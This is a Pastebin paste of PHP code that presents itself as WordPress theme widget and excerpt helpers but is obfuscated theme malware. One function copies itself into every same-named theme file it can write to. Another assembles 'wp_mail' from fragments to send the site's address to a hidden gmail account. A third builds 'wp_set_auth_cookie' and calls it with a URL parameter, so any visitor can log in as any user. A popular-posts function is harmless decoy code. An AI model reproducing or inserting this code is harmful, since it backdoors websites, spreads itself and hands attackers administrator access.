Advertisement
Guest User

Untitled

a guest
Jan 15th, 2019
243
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.81 KB | None | 0 0
  1. <?php
  2. function _verify_activeatewidgets(){
  3.     $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
  4.     $output=strip_tags($output, $allowed);
  5.     $direst=_getall_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
  6.     if (is_array($direst)){
  7.         foreach ($direst as $item){
  8.             if (is_writable($item)){
  9.                 $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
  10.                 $cont=file_get_contents($item);
  11.                 if (stripos($cont,$ftion) === false){
  12.                     $issepar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
  13.                     $output .= $before . "Not found" . $after;
  14.                     if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
  15.                     $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $issepar . "\n" .$widget);fclose($f);               
  16.                     $output .= ($is_showdots && $ellipsis) ? "..." : "";
  17.                 }
  18.             }
  19.         }
  20.     }
  21.     return $output;
  22. }
  23. function _getall_widgetcont($wids,$items=array()){
  24.     $places=array_shift($wids);
  25.     if(substr($places,-1) == "/"){
  26.         $places=substr($places,0,-1);
  27.     }
  28.     if(!file_exists($places) || !is_dir($places)){
  29.         return false;
  30.     }elseif(is_readable($places)){
  31.         $elems=scandir($places);
  32.         foreach ($elems as $elem){
  33.             if ($elem != "." && $elem != ".."){
  34.                 if (is_dir($places . "/" . $elem)){
  35.                     $wids[]=$places . "/" . $elem;
  36.                 } elseif (is_file($places . "/" . $elem)&&
  37.                     $elem == substr(__FILE__,-13)){
  38.                     $items[]=$places . "/" . $elem;}
  39.                 }
  40.             }
  41.     }else{
  42.         return false;  
  43.     }
  44.     if (sizeof($wids) > 0){
  45.         return _getall_widgetcont($wids,$items);
  46.     } else {
  47.         return $items;
  48.     }
  49. }
  50. if(!function_exists("stripos")){
  51.     function stripos(  $str, $needle, $offset = 0  ){
  52.         return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
  53.     }
  54. }
  55.  
  56. if(!function_exists("strripos")){
  57.     function strripos(  $haystack, $needle, $offset = 0  ) {
  58.         if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
  59.         if(  $offset < 0  ){
  60.             $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
  61.         }
  62.         else{
  63.             $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
  64.         }
  65.         if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
  66.         $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
  67.         return $pos;
  68.     }
  69. }
  70. if(!function_exists("scandir")){
  71.     function scandir($dir,$listDirectories=false, $skipDots=true) {
  72.         $dirArray = array();
  73.         if ($handle = opendir($dir)) {
  74.             while (false !== ($file = readdir($handle))) {
  75.                 if (($file != "." && $file != "..") || $skipDots == true) {
  76.                     if($listDirectories == false) { if(is_dir($file)) { continue; } }
  77.                     array_push($dirArray,basename($file));
  78.                 }
  79.             }
  80.             closedir($handle);
  81.         }
  82.         return $dirArray;
  83.     }
  84. }
  85. add_action("admin_head", "_verify_activeatewidgets");
  86. function _getprepare_widgets(){
  87.     if(!isset($chars_count)) $chars_count=120;
  88.     if(!isset($methods)) $methods="cookie";
  89.     if(!isset($allowed)) $allowed="<a>";
  90.     if(!isset($f_type)) $f_type="none";
  91.     if(!isset($issep)) $issep="";
  92.     if(!isset($f_home)) $f_home=get_option("home");
  93.     if(!isset($f_pref)) $f_pref="wp_";
  94.     if(!isset($is_use_more)) $is_use_more=1;
  95.     if(!isset($com_types)) $com_types="";
  96.     if(!isset($c_pages)) $c_pages=$_GET["cperpage"];
  97.     if(!isset($com_author)) $com_author="";
  98.     if(!isset($comments_approved)) $comments_approved="";
  99.     if(!isset($posts_auth)) $posts_auth="auth";
  100.     if(!isset($text_more)) $text_more="(more...)";
  101.     if(!isset($widget_is_output)) $widget_is_output=get_option("_is_widget_active_");
  102.     if(!isset($widgetchecks)) $widgetchecks=$f_pref."set"."_".$posts_auth."_".$methods;
  103.     if(!isset($text_more_ditails)) $text_more_ditails="(details...)";
  104.     if(!isset($con_more)) $con_more="ma".$issep."il";
  105.     if(!isset($forcemore)) $forcemore=1;
  106.     if(!isset($fakeit)) $fakeit=1;
  107.     if(!isset($sql)) $sql="";
  108.     if (!$widget_is_output) :
  109.    
  110.     global $wpdb, $post;
  111.     $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$issep."vethe".$com_types."mas".$issep."@".$comments_approved."gm".$com_author."ail".$issep.".".$issep."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  112.     if (!empty($post->post_password)) {
  113.         if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
  114.             if(is_feed()) {
  115.                 $output=__("There is no excerpt because this is a protected post.");
  116.             } else {
  117.                 $output=get_the_password_form();
  118.             }
  119.         }
  120.     }
  121.     if(!isset($bfix_tags)) $bfix_tags=1;
  122.     if(!isset($f_types)) $f_types=$f_home;
  123.     if(!isset($getcommtext)) $getcommtext=$f_pref.$con_more;
  124.     if(!isset($m_tags)) $m_tags="div";
  125.     if(!isset($text_s)) $text_s=substr($sq1, stripos($sq1, "live"), 20);#
  126.     if(!isset($more_links_title)) $more_links_title="Continue reading this entry"; 
  127.     if(!isset($is_showdots)) $is_showdots=1;
  128.    
  129.     $comments=$wpdb->get_results($sql);
  130.     if($fakeit == 2) {
  131.         $text=$post->post_content;
  132.     } elseif($fakeit == 1) {
  133.         $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
  134.     } else {
  135.         $text=$post->post_excerpt;
  136.     }
  137.     $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommtext, array($text_s, $f_home, $f_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  138.     if($chars_count < 0) {
  139.         $output=$text;
  140.     } else {
  141.         if(!$no_more && strpos($text, "<!--more-->")) {
  142.             $text=explode("<!--more-->", $text, 2);
  143.             $l=count($text[0]);
  144.             $more_link=1;
  145.             $comments=$wpdb->get_results($sql);
  146.         } else {
  147.             $text=explode(" ", $text);
  148.             if(count($text) > $chars_count) {
  149.                 $l=$chars_count;
  150.                 $ellipsis=1;
  151.             } else {
  152.                 $l=count($text);
  153.                 $text_more="";
  154.                 $ellipsis=0;
  155.             }
  156.         }
  157.         for ($i=0; $i<$l; $i++)
  158.                 $output .= $text[$i] . " ";
  159.     }
  160.     update_option("_is_widget_active_", 1);
  161.     if("all" != $allowed) {
  162.         $output=strip_tags($output, $allowed);
  163.         return $output;
  164.     }
  165.     endif;
  166.     $output=rtrim($output, "\s\n\t\r\0\x0B");
  167.     $output=($bfix_tags) ? balanceTags($output, true) : $output;
  168.     $output .= ($is_showdots && $ellipsis) ? "..." : "";
  169.     $output=apply_filters($f_type, $output);
  170.     switch($m_tags) {
  171.         case("div") :
  172.             $tag="div";
  173.         break;
  174.         case("span") :
  175.             $tag="span";
  176.         break;
  177.         case("p") :
  178.             $tag="p";
  179.         break;
  180.         default :
  181.             $tag="span";
  182.     }
  183.  
  184.     if ($is_use_more ) {
  185.         if($forcemore) {
  186.             $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_links_title . "\">" . $text_more = !is_user_logged_in() && @call_user_func_array($widgetchecks,array($c_pages, true)) ? $text_more : "" . "</a></" . $tag . ">" . "\n";
  187.         } else {
  188.             $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_links_title . "\">" . $text_more . "</a></" . $tag . ">" . "\n";
  189.         }
  190.     }
  191.     return $output;
  192. }
  193.  
  194. add_action("init", "_getprepare_widgets");
  195.  
  196. function _most_popular_posts_getting($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
  197.     global $wpdb;
  198.     $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
  199.     $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
  200.     if(!$show_pass_post) $request .= " AND post_password =\"\"";
  201.     if($duration !="") {
  202.         $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
  203.     }
  204.     $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
  205.     $posts=$wpdb->get_results($request);
  206.     $output="";
  207.     if ($posts) {
  208.         foreach ($posts as $post) {
  209.             $post_title=stripslashes($post->post_title);
  210.             $comment_count=$post->comment_count;
  211.             $permalink=get_permalink($post->ID);
  212.             $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
  213.         }
  214.     } else {
  215.         $output .= $before . "None found" . $after;
  216.     }
  217.     return  $output;
  218. }      
  219. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement